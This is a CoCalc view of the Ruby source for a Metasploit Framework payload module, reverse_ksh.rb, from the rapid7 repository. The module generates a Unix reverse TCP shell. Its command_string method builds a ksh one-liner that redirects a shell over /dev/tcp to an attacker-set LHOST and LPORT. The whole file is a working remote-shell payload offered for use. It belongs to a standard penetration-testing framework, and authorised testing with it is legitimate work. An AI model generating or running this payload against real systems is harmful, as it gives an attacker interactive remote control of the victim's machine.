Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/cmd/unix/reverse_ksh.rb
21551 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 52
8
9
include Msf::Payload::Single
10
include Msf::Sessions::CommandShellOptions
11
12
def initialize(info = {})
13
super(
14
merge_info(
15
info,
16
'Name' => 'Unix Command Shell, Reverse TCP (via Ksh)',
17
'Description' => %q{
18
Connect back and create a command shell via Ksh. Note: Although Ksh is often
19
available, please be aware it isn't usually installed by default.
20
},
21
'Author' => 'Wang Yihang <wangyihanger[at]gmail.com>',
22
'License' => MSF_LICENSE,
23
'Platform' => 'unix',
24
'Arch' => ARCH_CMD,
25
'Handler' => Msf::Handler::ReverseTcp,
26
'Session' => Msf::Sessions::CommandShell,
27
'PayloadType' => 'cmd',
28
'RequiredCmd' => 'ksh',
29
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
30
)
31
)
32
register_advanced_options(
33
[
34
OptString.new('KSHPath', [true, 'The path to the KSH executable', 'ksh'])
35
]
36
)
37
end
38
39
def generate(_opts = {})
40
super + command_string
41
end
42
43
def command_string
44
"#{datastore['KSHPath']} -c '#{datastore['KSHPath']} >/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 2>&1 <&1'"
45
end
46
end
47
48